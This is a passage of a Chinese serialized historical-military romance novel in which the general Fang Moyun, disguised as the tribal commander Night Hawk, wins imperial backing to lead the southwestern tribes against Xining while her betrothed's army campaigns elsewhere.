李公公笑了笑，低头恭敬地回道：“少帅自幼性子直，想孝顺您，却又不会说体恤的话，他素来沉默少语，但是孝心没得说。”
圣上继续看着手中文书，叹了口气并未再说话，李公公便低下头，亲自跪在圣上身前，轻柔地用药揉搓着他的膝盖。
良久之后，圣上慢慢感受着药的暖意，弥漫开来，轻声说道：“嗯，是暖。”
李公公听言，笑容更加恭敬，轻轻地放下圣上裤管，命人将药收好。
圣上看着李公公，眼中透出一丝深邃，随意地问道：“这一路回京可还顺利？”
李公公低声而坦诚地答道：“奴才不敢欺瞒皇上，回程路途之中，方将军拦了老奴车架，让我带一封奏折给圣上。我说这不合规制，但方将军那赤诚之心，奴才怎敢拒绝？因此老奴这一路都颇为为难，不知该不该呈给皇上……”
皇上听后微微一笑，嘴角又露出几分没好气的神情：“赤诚之心，怕是你不接，她不让你走吧。”
李公公满脸笑容，低头道：“方将军年少有为，着实乃巾帼不让须眉之辈。”
皇上缓缓伸手，李公公旋即从怀中取出了那封奏折，恭敬地双手奉上。皇上接过奏折眼神扫过一眼封面，便起身走到烛旁。
烛光摇曳，映照在圣上那冷峻的面庞上，屋内寂静无声，只有微弱的火光轻轻舞动。皇上手指轻轻划过那奏折，他目光逐渐被文字凝聚了注意力，眉头微微一挑，似乎对文中字句产生了兴趣。
李公公将烛点得更亮，只见圣上嘴角不由自主地露出了一抹淡淡的笑意。他翻到奏折的末尾，眼睛眯成了一条线，微微皱起的眉头也慢慢舒展，眼底透出了一丝赏识。
他放下奏折，嘴角的笑意愈加明显，淡然说道：“明日早朝之后，传关太傅来朕的御书房。”
“是。”李公公恭敬地低头回应道，他见到圣上如此愉悦的表情，心中自然明了，圣上在这封奏折中必定看到了自己所期望的。
翌日早朝之时，朝堂上气氛依旧剑拔弩张，大臣们仍争执关于卢家军拒婚一事，你一言我一语，争执不休，唯有圣上的不语使得整个朝堂显得格外压抑。
“没想到小小一封西宁国书，竟能让朕的诸位爱卿在朝堂之上如此踹踹不安，我天朝之威何在？”皇上声音突然如雷霆般回荡在朝堂之上。
话音刚落，整个朝堂顿时鸦雀无声。圣上目光中透出的威仪，让在场大臣皆不敢直视，满是敬畏。自古君心难测，此时圣上这句话，让他们心中翻腾，不知圣上是何意？
退朝后，圣上回到了御书房，关太傅紧随其后。关太傅看着圣上略显疲惫的背影，小心翼翼地说道：“圣上，您还是要以龙体为重。”
圣上微微点头，坐到榻上，从旁边的锦盒中取出那封奏折，递给关太傅，笑着说：“看看。”
关太傅接过奏折眼神透出几分疑惑，低头打开奏折，眼前的文字如云卷云舒，让他不禁微微一愣，茉云的奏折居然递到了皇上手里……
他仔细端详着奏疏，茉云的奏折上丝毫未提西宁联姻和正啸拒婚之事，大意是华夏之国，大地泱泱，四海友邦，皆仰圣上仁德之辉，万国来朝，我朝何曾持强，各邦沐圣上之恩泽，久矣。朝廷兼济天下，威震四方。诚然，与友邦之联姻，乃国策，圣上予之既为恩德，朝廷不予自有考量，若挟此时机威胁恐吓，可谓以怨报德，臣自愿请命，独往西边，联合友盟之势，平定此事……
皇上则端起茶杯轻轻抿了一口，看向关太傅语气轻松地说：“这丫头，字句不似传闻那般粗俗。”
关太傅闻言，忍不住笑了，抬起头回应道：“臣时常觉之书到用时方恨少，不过听闻这丫头，她的能耐总
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是在关键时刻才显现，格外精进。”
皇上微微一笑拿过奏折，再次看了看，笑着说道：“看这丫头的机灵劲，啸儿便是没得半分，她这满纸都是奉承话，却不让人觉之其谄媚而曲意逢迎。”
关太傅也被皇上的话逗笑了，心中倒有几分佩服，此奏折所言，字字句句都说到圣上心坎之上，既有豪情壮志，又透出武将真性情，难怪得圣上如此夸赞。
皇上笑着放下了奏折，眼神中带着几分赏识：“那便看看她有何能耐，但切记莫大张旗鼓，以免搅乱了前方军心。”
关太傅见状，心领神会低头应道：“是，臣明白。”
皇上微微靠向榻旁高枕，闭目养神，屋内一时安静下来，良久之后，他冷冷地说道：“说我啸儿不识抬举，就凭他西宁也配！”
而此刻在南境，茉云回到了中州边关，远远望去，中州依旧是灯火通明，夜幕降临之时，最能感受到这座城万家灯火的气息。
她一入边关，就看见宋大人和思淼都在，瞧见她归来，两人眼中都稍显紧张的望向他，而茉云步伐轻盈，目光如水，透着几分悠然。思淼见她如此淡定，心中松了一口气，而宋大人则若有所思地注视着她……
茉云一脸无语说自己赶路累了，要休整一二，有事明日再议，宋大人便邀请茉云翌日去家中小聚，茉云只得同意，可是心中却乐了，他两的神情反而好似他两如临大敌。
翌日清晨，茉云踏入了中州城内，经过心月楼时，忽然她停下了脚步，耳中传来了一阵熟悉的琴音，悠扬婉转，仿佛与她心中某个深藏的记忆相呼应。她转身便入了心月楼，门一开，一股暖风扑面而来，空气中弥漫着缕缕香气和丝丝古琴的韵律。
乔妈妈见到茉云，顿时喜上眉梢，脸上的笑容越发灿烂，步伐轻快地迎了过来说道：“茉云，是你来了！”
心月楼的小厮们看到这一幕，都不禁好奇的看了过来。乔妈妈岂是随便这般热情迎接客人的？只有那些在心月楼的老人们，不由得会心一笑介绍道：“别看了，这可是个大人物。”
就在这时，风临从楼内走了出来，俏丽而又带有几分调侃的声音说道：“许久不见啊，方大人！”
茉云旋即乐了，眼中带着一丝戏谑地打趣道：“你怎么沦落到乔妈妈手下了？”
乔妈妈听了抬起胖手就推了茉云一把，半是生气半是笑意地说道：“都当这么大的官了，也没见你会说几句动听的话。”
“一地待闲了，想换个地，昔日不老听你说中州是个好地，所以来求乔妈妈收留了。”
乔妈妈却话语中有几分忿然的说道：“你怎不跟她说实话呢，差点被人强抢去做了妾室，还是被关大人那好心的夫人救了，暗地里将她送到中州。”
“季岚救的你啊？那属实不易！”茉云挑眉坐下，忍不住嘴角带着几分笑意，拿起桌上的点心塞到嘴里，可是瞬间……她又愣了半刻看向那点心……
就在此时，穆棱也赶了过来，一脸温和的望向茉云，茉云瞬间欣喜的起身叫道：“二哥，你怎么来了？我还说这点心味道这么熟悉，腾腾呢？”
穆棱叹了口气，随即目光变得柔和：“大战快入峑戎境地，军中军师来劝我们，让我们还是搬来中州为妙。你大嫂先回了娘家，腾腾就住在府衙内，可以跟大人学些诗书，二哥觉得终日吃喝府衙的不合适，乔妈妈等人甚为和善，就来这心月楼做了厨子。”
“二哥，你竟然会来中州。”茉云眯了眯眼睛，心中微微一动，瞧着穆棱，因她心中知晓，他二哥素喜田园风光，厌恶这城镇喧嚣之地。
穆棱叹了口气，眉头微皱，故作无奈的说道：“人亲自修书给我，说请我来中州照顾你，说你脚伤刚愈合且不能喝酒。”
茉云顿时无语，半晌后才道：“让你来看着我？”
“是啊！”穆棱笑了，眼神中带着几分调侃，故作正经地说道，“二哥本不想来，奈何这堂堂未来妹夫，他竟也能说话这么软，态度这么诚恳，情谊这般深厚，二哥怎好拒绝。”
茉云无语的被逗笑了，眼中闪过一丝不易察觉的温情，心中亦觉得温暖……
317.不屈
茉云回到中州，好似瞬间就习惯了闲云野鹤般的安逸，终日在心月楼饮酒听曲，宋大人看到她如此处之泰然，不禁松了口气，这丫头只要不出去闯祸干什么都行……
而京城却纷乱四起，皇上对此事不置可否，让朝臣揣摩不透圣上究竟意欲何为，直至今日几位御史，耐不住一直未曾获得回应，便到了御书房门前试图直谏，最终被皇上逐出宫殿，贬出京任闲职，京城议论和喧嚣立即偃旗息鼓，只待圣上决断。
这日关太傅的二子，若辰的亲弟，关何友从京城来到中州，一到他便直奔茉云所在之地。
关何友见到她那一瞬间不禁露出久违地笑意，茉云灿然而笑说道：“这不是关二公子吗？远道而来，是否要请我吃个饭？”
关何友顿时笑得前俯后仰：“你还真是一点没变，我刚来，不该你做东吗？”
“咱们朋友谁跟谁，谁做东都一样！”茉云则大手一挥说道，“对了，你来也还是有正事吧。”
关何友笑了点点头，顷刻间神情逐渐变得郑重：“茉云，接旨。”
茉云旋即起身双膝跪地接旨，何友将皇上口谕宣读而出。
“臣谢皇上。”茉云听罢，嘴角微微扬起，眼中闪过那淡然而坚定，如星辰般闪耀的光芒。
夜晚，何友做东，众人在心月楼包厢大快朵颐，谈笑风声。茉云虽未多饮，亦开怀大笑，似乎这些日子的种种纷扰，都暂时被放在了脑后。
然而，晚宴后，她离席之后，便飞身上马准备离开，却在马前看到了一道熟悉的身影。
那人站在月色下，身影单瘦却坚毅，茉云定睛一看，正是她的二哥——穆棱。
茉云微微一笑，轻声说道：“二哥，你应该知道，你拦不住我吧。”
穆棱的眉头微蹙，眼中透着几分忧虑地说：“茉云，你若去，这一路定然无比艰辛，他肯定也不想你去。”
茉云淡然的望向穆棱，伸手拉过缰绳笑着说道：“二哥，我是挺喜欢他，可也不至于为他而活吧，他有他要干之事，我亦有！”
她眼中的坚定与洒脱让穆棱一时无言，沉默了片刻，穆棱又问道：“你可知此去……”
“我无怨无悔！”茉云轻笑着说道，目光如此坚定，心中亦无丝毫动摇。
穆棱只得叹了一口气，走向茉云的马，轻轻将背后的包袱挂上马鞍：“这些带着路上吃！”
她看了穆棱一眼，调皮地笑了：“二哥就是好，走了。”
穆棱目送她离去，尽管心中充满担忧，但他知道，茉云若决定了谁也拦不住。茉云轻轻一鞭，马儿疾驰而去，如同一道风，穿过城门直奔远方。
翌日晨光微熹，宋大人酒醒之时，便听闻何友禀报道：“茉云已出城，臣受圣上旨意，暂代她在中州之职。”
宋大人微微一怔，手中茶盏停滞在半空，半晌后，他脸色微沉，旋即起身，便要转入书房提笔写信。
何友见状，连忙伸手拦住，神色沉稳地劝说道：“宋大人，圣上旨意，此事不可大张旗鼓，切不可影响前方军心。”
宋大人闻言，深深地吸了一口气，眼中透着几分愠色，缓缓说道：“何友啊，你可知，你正啸哥自出生起，便是朝廷的一把利剑。他肩挑国之大任，斩敌定边关，终其一生无怨无悔。可他，就是不愿茉云也成为朝廷的一把利刃，更何况，她还是一把孤剑。”
何友望着宋大人，眼前不禁浮现出……昨日远远目送茉云策马离城的英姿，那一抹洒脱却坚定的身影。
他低声说道：“我知道宋大人甚为关心他们，可是我爹说，他二人本就是不破不立的命局。”
宋大人听罢沉默良久，最终缓缓点头，目光幽深地说道：“你爹说的，是对的。”
晨曦的光芒照向宋大人满是思虑的脸庞，院内一片沉静，只剩寒风微微拂过，仿佛这天地之间，所有的纷争与变数，又悄然铺陈而来。
而卢家军很快接到圣上旨意，圣上再次降旨表示对卢家军的鼎力支持，让正啸不必担心其他，只管勇往直前，荡平贼寇，皇上等着元帅和他凯旋而归。
卢家军中的将士们皆松了口气，老太君和萧怀逸等人也觉得那压在心头的大石终于放下，所幸朝中那些反对的势力并未得逞。元帅再无多言，下令大军继续整装前行，朝着峑戎都城的方向进军。
然而，就在卢家军继续挺进过了西南部落疆域，平静稍纵即逝，一份来自西南部落的布告传遍天下。
让世人都震惊不已，西南部落竟联合控诉，要求西宁国归还自古以来属于西南部落的牧马草原。此事在西南与西边迅速掀起了轩然大波。西宁——作为西边的第一强国，如何能接受如此赤裸裸的挑衅？
西宁国一贯视这些支离破碎的西南部落为乌合之众，几十年来不断蚕食他们的草原如无物。西宁国自然是坚决拒绝了西南部落的要求，并立即开始屯兵在边关，用以威慑西南诸部落。
但谁也没料到，西南部落此时竟展现出前所未有的凝聚力——三大部落联合而起共同应战，所有部落都开始集结大军，领军之帅竟是西南曾经的战神老影的女儿——夜鹰。
正当元帅与众人商议完战事，聊起了西南之时，若辰拿起那份布告，将其恭敬地递给了元帅，元帅点点头让东山念给众人听。
东山接过，便仔细地读这份誊写翻译而来的布告给众人听：“吾等日升、正奇、韦达三大部落率西南一众部落，今日以誓言昭告天下，愿以全力捍卫我西南疆土，捍卫我部族的尊严与荣耀。自古以来，西南之疆，草原辽阔，马羊繁殖，便为我等世代守护之地。然西宁国主何曾视我等为睦邻，数十来，年年向我等索取羊马无数后，仍侵占我等水草丰盈之地。
所谓强大，非凭一时之虚荣，而应行强者之道。今，西宁国君自以强大，率兵屡屡南进，侵犯践踏西南各部珍贵之地。我等已忍耐多年，然今日，不能再忍！
西南诸部已立下决心，要求西宁国返还自古属于我等的牧马草原，恢复原有疆界，我等臣服天朝，不贡西宁！若西宁冥顽不灵，必自断未来，终将为天下所唾弃。
吾等三大部落率西南众落在此立誓，共同起义，举兵迎战西宁，不畏艰难险阻，不畏大国威逼，愿以血肉之躯捍卫家园，为后代子孙保留草原安宁。
愿天佑我西南草原，吾等必不负大地，誓死捍卫故土！”
众人都沉默了片刻，好似在感受着这字字句句中的坚毅与豪情，似乎能感受到西南大地上每一个部落族人，正以热血与满腔怒火捍卫着他们的土地与尊严。
良久之后，元帅轻轻放下手上的茶杯说道：“说得好啊，处处皆有不屈的灵魂！”
执礼不禁深吸一口气，语气低沉地说道：“没想到我们一离开，西南部落竟然乱成了一片。”
“并非乱成一片，而是拧成了一股绳。”东山却淡然地放下文书说道，执礼亦望向东山点点头。
魏副帅则不禁皱眉，带有一丝疑虑地问道：“不是听说这老影将军家破人亡，无儿无女吗？怎么会突然有一个继承人出来带领部落？”
正啸放下手中的文书，眉头紧锁，眼中隐现一丝深思。若辰看着正啸的神情，心领神会地心中长长叹了口气，带有些许忧虑的望向远方。这番言辞，如此豪情，何等能耐，还有谁呢？
几日后，押运粮草的队伍如期而至，居然是关何友亲自押运粮草而来。
“正啸哥！”何友入营之后便径直来到了正啸营帐。
正啸眉头微微一挑，目光落在了他身上，他也未曾想到何友此时会来。
而此时何友身旁的一个矮小守卫取下头盔，开心地冲到正啸面前，双臂猛地一伸，毫不犹豫地扑向他，声音充满了欢快：“卢叔叔！”
众人定睛看去，眼中不禁闪过一丝诧异，来人竟是茉云的侄儿。
“腾腾。”正啸眼神渐渐柔和了几分望向他。
腾腾兴奋地点点头，笑容灿烂地答道：“卢叔！我和二叔一起来了中州，何友叔叔说要
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送粮草，我也想来见见您，所以就跟他一起来了！”
正啸温和地笑了，看见腾腾一脸依旧孩子气的神情，如今已经长成了壮硕的少年，顿时感受到久违的亲切，伸手拍了拍腾腾的肩膀：“好，都长得这么大了。”
腾腾则开心地笑了，礼貌地向众人行礼：“执礼叔叔，千山叔叔，万莫叔叔好！”
众人都被腾腾的热情感染，纷纷笑着回应，万莫顿时开心掏出自己那谁都不能碰的宝贝兜，将兜里的零嘴分给腾腾吃，营帐内的气氛一时变得轻松愉快。
若辰此时匆匆走进营帐，看到何友脸上不由一愣，几分诧异地问道：“何友，你怎么来了？腾腾？”
何友却笑意轻松，语气中透出一丝俏皮的说道：“哥，我为何不能来？圣上有旨意，方将军有伤在身，需要在中州修养，我来接替运粮之职。”
他话语轻松，但眼神中却暗含了深意。执礼听了后，顿时低声问道：“那便是说，这事起码圣上知情。”
众人显然在这一刻放下了些许担忧，她至少不是私自行动……
若辰走近，轻声继续追问道：“难道此事乃皇上授命？”
何友则笑了笑，摇头回答道：“并非皇上授命，是茉云半道截了李公公，让他带了一封奏折入宫，向皇上请命。”
他虽语气轻松，众人却愣了半刻，听到这话，显然十分震惊。
执礼反应过来，急忙追问：“李公公帮她递奏折？”
众人皆知，李公公可是皇上身边的老人，宫中威望极高深得皇上信任，但他速来处事谨慎，只忠诚于皇上，平日里和朝臣都鲜少交流，更绝不会做任何阶跃之事。
何友微微点头，无可奈何地笑道：“对，李公公惶恐了一路，最终还是呈给了圣上。皇上也并未怪罪，看了奏折，反而挺开心的允了。”
听到此，众人心中那颗悬着的心又缓缓放下，可是不禁都感叹于她这般胆大……而腾腾开心的吃着零嘴，顿觉口干，四下张望哪儿有水喝，正啸抬手便将自己未喝的茶递给他，腾腾开心的接过来点点头，一饮而尽。
何友则看向众人还有几分担忧眼神，大手一挥继续说道：“哥哥们切莫担心，那日我去了中州见了茉云，茉云说，听到西宁要联姻之事，她不知是伤心还是开心。伤心的是，自己鼓捣这么久没抢到的，人半道就来抢？开心的是，他们居然这般明目张胆来抢？此莫不是天降一个良机，让我可有理有据地去弄死西宁那群强盗了！”
腾腾放下茶杯，长叹一口气，接着话说道：“我姑姑哪有伤心啊。她走之前还跟我说，‘方腾，好好等着，自古抢人田地，还夺人家小的恶人，绝不会有好下场！’我还说，‘姑姑，什么家小？他们还要来抓我吗？’我姑却看着我一脸奚落的说，‘若是夺你，那不夺去算了，你有啥好宝贝的？’”
顿时众人哄堂大笑，正啸眼中亦闪过一丝无语，气氛变得更加轻松愉快。
夜里正啸在营中遥望苍穹，月光如水，银辉洒满大地，映照着他坚毅的脸庞。他一如往常，俯视着远处，心中却无法平静，因为他知道她面临的何等挑战。
这时，若辰也轻轻走到他的身旁，默默站着，与他一同凝视远方的星空。
若辰深深地吸了一口气，淡然说道：“我知道你多少有些担心她，但我更敬佩她如此气魄。”
执礼目光也随之望向远处，淡淡开口：“是啊，这些年西南部落困顿于狭小的疆域之中，若西宁不侵占他们的草原，他们又怎会为了寸草之地，争得鱼死网破呢？”
“所以你也无需太过担心。如今，茉云定然是趁着西宁和我朝断交之时，集结了西南部落所有的力量与信念一战。天时地利人和皆有之！”若辰轻轻笑了，看向正啸，“而且这一路走来，所有苦难于茉云而言，不过是她开启一段传奇之序幕。”
“我担心什么？不管是西宁，还是西南部落，我都祝他们好运吧。”正啸微微叹了口气，没好气的说道，顿时众人皆忍俊不禁。
318.并肩
王强和他的探营一队回营，带回了西南部落的最新消息，西宁国主大怒，命令西宁大将军率部对西南部落发动奇袭，说是誓要剿灭这些蛮族。然而，这一场看似毫无悬念的战斗，让营帐内的顿时鸦雀无声……
王强的声音中透着一丝惊叹，借着地势图介绍到：“首先西宁大军打了西南部落一个措手不及，可谁也未曾想到，夜鹰居然突破重围借着地形，一路落荒而逃，西宁大将军自然是对她穷追猛打，追了不到半日，不知怎的就追到了一狭小平川，西南部落众人好似天而降，四面夹击，将西宁军围困，来了个瓮中捉鳖，将他们的军械都缴了，西宁此番着实吃了个大瘪。”
元帅看着地势图眼神中闪过一丝赞许，嘴角上扬的说道：“这夜鹰倒真是个人才！”
从这场出奇不意的反击中，看得出这位统帅借地势之利，有着超凡的战略布局。
此时，魏副帅亦点头，言语中透出一丝敬意，说道：“从此事来看，西南部落确实也是一块硬骨头，不容小觑。”
然而，正啸沉思片刻，目光落在王强手中摊开的地图上，眼中透出一股异样，执礼也注意到正啸的神情变化。
待他们回到自己营帐，执礼取来了西宁与西南部落交界的所有地形图，将地图一一摊开，正啸走到桌旁仔细看向图上几处关键位置，顿时眼中透出一丝无语。
执礼则一愣目光随即一亮，指着地图笑了说道：“少主，真是难怪！”
“什么难怪？”若辰却不明就里的便问道。
“昔日茉云请命守裴桥之前，在军营养伤，少主逼她研习些兵法，结果方茉云故作一副极其不耐烦的样子，说守城太无聊，时常问些莫名其妙的问题，还与少主争辩，少主亦忍着火，帮她一一解答，可谓是倾囊相授，现在看来她问的……都是这打西宁的战法，这不就是一早来少主这儿诓骗战术吗？”
若辰则顷刻被逗笑了，轻声说道：“那你这不是名师出高徒吗？你也可以少担心些!”
正啸目光中带着些许无奈和温和，可是他心中确实松了口气，听刚才的王强所描述的，茉云以其才智和谋略，已将自己教授他的兵法活学活用，应该足以胜任与西宁一战了。
这个时候，东山轻轻地走入了少帅的营帐，步伐从容，神情恭敬，执礼见状立刻开口说道：“少主，是我请了东山来。”
东山微微一笑，温和地向在场的众人行礼，他的举止一如既往，温文尔雅，给人一种极其稳重的气息。
何友则忍不住笑了，看向若辰说道：“哥，东山兄还是如此重礼节，亏得他曾和茉云公事过那么久。您看思淼，我前些日子去中州见他，他如今就跟一土匪似的，东山兄属实难得。”
众人听了纷纷笑了出来，东山也被逗笑了，他抬手轻轻摆动说道：“大人谬赞了，在下决计比不上少帅，任人如何上天入地，神龙摆尾，皆如此镇定！”
“我家少主……主要是除了故作镇定，也没有其他法子！”执礼接过话，话语中带着些许揶揄，但更多的打趣，众人听了，纷纷笑出了声，正啸则一脸不想搭理他们。
东山轻轻拂去一缕发丝，微笑着说道：“少帅，夜鹰之事，是否要将诸位猜想告知元帅？”
正啸眉头微微蹙起，他沉默了片刻，随后轻声说道：“暂且无需告知父帅，免得他夙夜担忧。”
东山轻轻颔首，默默认同正啸的决断，他亦正有此意。
“少主，我叫东山来此，就是想众人与您一起议议，西南未来的局势，以及对大战的影响。”执礼望向正啸恭敬地说道。
营中气氛顿时变得紧张了几分，众人皆知，这场战争，关系着的不只是西南部落胜负……
若辰眼神微凝，沉默片刻后开口说道：“看样子，情况与我们之前顾虑的不同。西南部落与西宁一战的关键在于，若西宁国主知道自己势弱，定会像朝廷求合。无论如何，西南部落毕竟是发起战乱之人，到时候朝廷若与西宁重修合盟，那么西南部落便在夹击之中。”
正啸眉头紧锁，显然在深思这一切的后果，营中都弥漫着一种凝重的氛围。
就在这时，何友忽然笑了笑，打破了沉默：“茉云走之时说，若有一日你们两担忧她，那么让我代为转达几句话，她亦不再是中州那个莽撞的丫头。”
众人都愣了一下，抬目看向何友。
何友话语虽轻，却掷地有声的继续说道：“正啸哥，她还说，我们所有人眼前只有一条路，那便是她赢西宁，您赢峑戎。”
正啸听到这里微微一愣，深深吸了口气，心中浮现出茉云那决然与坚定的身影，她此时定是站在风中，眺望苍穹，周身皆是不可动摇的力量……众人默然，似乎每个人也都能从这句话中感受到一股桀骜而不屈的力量，再无彷徨。
而此时何友小心翼翼地凑近了一些，声音也不由得压得更低：“她还说了一句话……可别让元帅和老太君听到了。她说，我方茉云三十日定拿下西宁，帮我问问卢家军终日在干嘛，多久才能拿下峑戎，三辈子了，还不够吗？”
正啸顿时瞪向何友，眼中迸射出一丝怒火，何友见状，仓皇失措的指向营外小声说道：“都是方茉云说的，我可没敢瞎说。这若是让卢老太君听到了，我可不被废了……”
执礼在旁也一脸愤怒地望向何友，东山却忍俊不禁，若辰也被逗得笑了，这世上也就方茉云了，能将泰山崩于前都面不改色的正啸，瞬间激得火冒三丈……
这日直至夜里，卢家军迅速收纳了军粮，重整了军列。翌日，黎明的曙光照亮了大地，大军整装待发。正啸根据先前的侦察与分析，若是笔直前行，峑戎境内的山区地形险恶，且峑戎擅长布下重重机关和埋伏，贸然行进，必定会陷入他们精心设下的圈套。
因此，正啸命令大军绕行，下令十五日内，攻打下峑戎邻国司融国，此国与峑戎狼狈为奸甚久，亦是卢家军死敌。尽早拔除峑戎爪牙，将削弱峑戎的后方支持，而且拿下司融国，进而逼近了峑戎都城，将绝不再给峑戎任何喘息的机会，必将正面一战！
诸将领命之后，心中涌起一股豪气，全营军心亦在激荡，士气高涨，宛如一股坚不可摧的洪流。
正啸带领大军望向即将开始的征程，眼中再无彷徨，只有坚定与冷静，因为他知道，两人哪怕远在天涯，可心在咫尺，并肩而战。
可此时的京城，朝堂之上，风云再起。随着西南部落捷报接连不断，西宁大军在战场上节节败退，以往它就仗着与朝廷交好，在西境对周边邻国作威作福，诸国此时看见朝廷都未出兵援助，他们当然皆坐视不管。
而西南部落缴获了大批西宁的军械，自身又有壮硕的战马，再加上雄壮的年轻战力，如今部落大军兵力雄厚，士气高昂，犹如狂风奔袭，一举已夺回了近半的草原疆域。
西宁派出了王子作为大使抵达京城，然而，此刻的他们已不复当初的傲慢嘴脸，换上一副委屈求全的可怜模样。到处痛诉西南部落悍然背盟，公然无视西宁与天朝多年的合盟之约，声称西南部落的举动是在破坏地方安定，更是在挑衅天朝的权威。
朝堂自然又掀起轩然大波。主和派的大臣们立刻站出来附和西宁大使的说辞，声称卢家军正在统领南境大战，此时最重要的是边关安稳，西南部落不该承诺了助卢家军共抗峑戎，此时却挑起战端，若战火再度蔓延，恐怕会让局势更
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加复杂。
而主战派的大臣却冷笑道，西宁今年自己不与我朝签订盟约，数月前还趾高气扬地向朝廷施压，这些年他们借天朝之威，在西境作威作福，而如今西南部落忍受不了他们压迫，西宁又想将天朝搬出来做挡箭牌，实在可笑！
一时间朝堂之上又是争论不休，一方力主援助西宁，维护安定；一方则认为西宁咎由自取，实无插手之必要。圣上亦未开口，处之泰然。
此刻，西南部落的大军却越战越勇，势如破竹。战场之上，以迅雷不及掩耳之势夺回全部失去的土地，而西宁军已军心丧失，节节败退。西宁的大使已然急得如热锅上的蚂蚁，他们手持所谓的合盟文书，却连圣上的龙颜都未能觐见。圣上只是铺所迷离地说了……怀仁德之心，有安定之意，再言求和之事。
终究，西南部落的军队已打到了家门口，西宁终于撑不住了迅速改口，派遣使者四处求援，且发出了布告，声称所谓受天朝仁德感召，愿意议和只求休战，还黎民以安康，并承诺三年内分批归还二十多年来蚕食的西南部落的草原。
翌日，西南部落的诸将都坐在了主营帐中，众人都在议事。夜鹰如以往一样，身穿铠甲带着面罩坐在营前。
西今看向夜鹰说道：“夜鹰主帅，此番退让，究竟是他们真心愿意，还是无奈之举？又或者，他们仍在暗中谋划着什么？”
夜鹰吃着手上牛肉干，不咸不淡的说道：“说说你们各自的想法！”
“我们的想法便是，你说打就打，你说算了就算了！”奇能望向夜鹰直白地说道。
“对！你判断一下！”正奇亦点头说道。
老影在一旁则顷刻间乐了看向夜鹰，夜鹰直接气得咬断了肉干瞪着他们：“我就问你们一句，你们相信西宁会在三年之内归还所有草原故地，然后永不再侵犯你西南部落吗？”
坐在西今身旁的雨燃顿时抬头坚定的看向茉云说道：“不信！”
因为她所出生的雨生部落就在西宁边上，最清楚他们素来是如何背信弃义，仗势欺人的，况且西宁国主好大喜功却气量狭小，如今吃了这般大亏，颜面扫地又怎么可能算了……
就在此时，有人来报，据探卢家军已前行攻入了司融国，势如破竹，所向披靡，应该这几日内定能拿下司融，夜鹰嘴角微微上扬点了点头。
夜里她站在了营前，看向眼前这片即将迎来初春的草原，本是一片如此肥美的水草之地，却被这战乱荼毒得一片荒芜。
“看啥呢，这儿望不到你那英明神武的郎君！”老影喝着酒笑着走出来。
“老影，我知道你想打西宁，为妻儿报血海深仇，你容我想想。”茉云转头望向老影说道。
“云丫头，我老了，经历了这些，其实仇恨亦好似变得没那么深刻，但你是你们朝廷中人，卢家军亦还在前方打战，你不得不考虑人家的想法！”
“考虑你个头！”茉云顿时没好气的看向老影道。
“那我倒是反问你一句，任谁都知，大战之时，后方要定！你们朝廷的皇帝和你那少帅，此时会支持你，继续打下西宁吗？”老影叹息了一口气笑着离开说道，“我这大半辈子，也就懂了一个道理，人的立场不同，做出任何事都属正常，你啊，也要为自己想想。”
深夜，营帐中静谧无声，只有月儿银色的光辉穿透云层，映照在茉云的身上，她独自站在营地外，望着远方明亮的月亮……
茉云心中默默问道：“卢正啸，可我知道西宁定是阴谋，他们决计不会求和，可你会支持我掀起这西部之战，固执己见的打下众人看似已求和的西宁吗？”
她深深叹了口气，眼中闪过一抹孤独与决然。
319.支持
翌日，茉云走出军营心中仍未散去昨夜的沉思，就在她踏出营帐的瞬间，却发现营中如此热闹，是围渡城城主石腾带着大批粮草和军械的来了。
“这般客气！”正奇举起那坚固的盾牌，在阳光下看着，开心地说道。
石腾则豪爽地挥手跟众人说道：“昔日蒙哥哥们如此关照，说了日后我若飞黄腾达，一定涌泉相报，这算什么，我们围渡城倾其所有都要助哥哥们夺回故土！”
老影在一旁喝着他的酒，笑着说道：“到底是跟云丫头混过的孩子啊，说的就是比唱得还好听。”
顿时众人哄堂大笑，石腾的目光却又不禁转向了远处走来的茉云。
“来，给你介绍一下，我们的主帅夜鹰！”老影笑着指向茉云道。
石腾顺着老影指的方向，看向茉云如今这那身夜鹰打扮……他也知道茉云这一身打扮，既是为了遮掩了她的真实身份，也为了让自己彻底融入这片土地，但石腾还是愣在了原地。
只见夜鹰眼神锐利的站在那里，身披着一身利甲，暗沉铁色让她看起来如同恶灵般隐匿，可她脸上却涂抹着五颜六色的部落图腾，仿佛一幅血色的战图，既神秘又骇人，令人不禁感到一种无形的威压。
她的头盔上上插着鹰羽，羽毛如刀刃般锋利，每一根都闪烁着冷冽的光芒，脖子上挂着的锋利狼牙串成的项链，好似每一颗狼牙都凝聚着部落的血腥与荣耀。她站在这片土地上，好似就是这片草原的主宰者。
石腾晃过神后，低声问旁边的奇能：“奇能哥，她如今已真的疯了不成？”
顿时，众人又哄堂大笑，气氛顿显轻松愉快。夜鹰则无语地瞪了石腾一眼，说道：“你给我过来。”
石腾听到这话，立刻一脸的堆笑，嬉皮笑脸地小跑着跟了过去：“好嘞，正好，小的还给您带了贺礼。”
茉云无语地没有说什么，她的生辰是快到了，但是她素来不重视这些凡俗礼节，而石腾热情摊开了包裹，是一堆好吃的，茉云才微微笑了，眼神稍微柔和了一些：“嗯，算你还有点良心。”
接着，石腾又取下背上背着的长形锦盒，郑重其事地放到茉云案前：“姐，这是我那世上最威武的哥哥，为您准备的礼物，此乃他亲手所制，托我交给你。”
茉云低头看了一眼锦盒，微微蹙眉眼中闪过一丝疑惑，她了解的卢正啸，素来更是不在意这些俗礼，此举莫非是……也要劝自己求和？
然而，当石腾小心翼翼地打开锦盒时，茉云却愣住了。
盒中躺着一把弓，弓身线条流畅，犹如江河蜿蜒，流转之间透露出一股沉稳与锋锐的气息。她轻轻伸出手指，指尖触碰到弓身的瞬间，似乎能感受到那股深藏其中的情意与力量。
她缓缓将弓取出，仔细端详着，弓长适中，弓重恰到好处，着实是为自己量身定制，完美地契合了自己的一切。弓身尾端还精致的雕刻了祥云图案，古朴而不失威武。
茉云的嘴角瞬间浮现出一丝畅然与欢欣的笑意，眼神瞬间亦变得柔和。
石腾则站在一旁，一脸豪迈地指向这弓笑着说：“哥哥将这弓交给我之时，只说了一句话，开弓之箭当勇往直前！”
茉云将弓紧紧握在手中，感受着那股熟悉的重量，这一刻，所有的疑惑与忧虑都被这把弓所驱散，茉云的眼中只剩下坚定的光芒，说道：“好！”
她当即下令诸将集结商议军务，她坐在中央，一身战甲映着阳光，眼神坚定如铁，嘴角却勾起一丝冷厉的弧度。她缓缓扫视了一眼在座的诸将，眼中没有一丝犹豫。
“明日，”她沉声开口声音在营帐内回荡，如战鼓擂响，“攻打西宁边关第一城——西间城。”
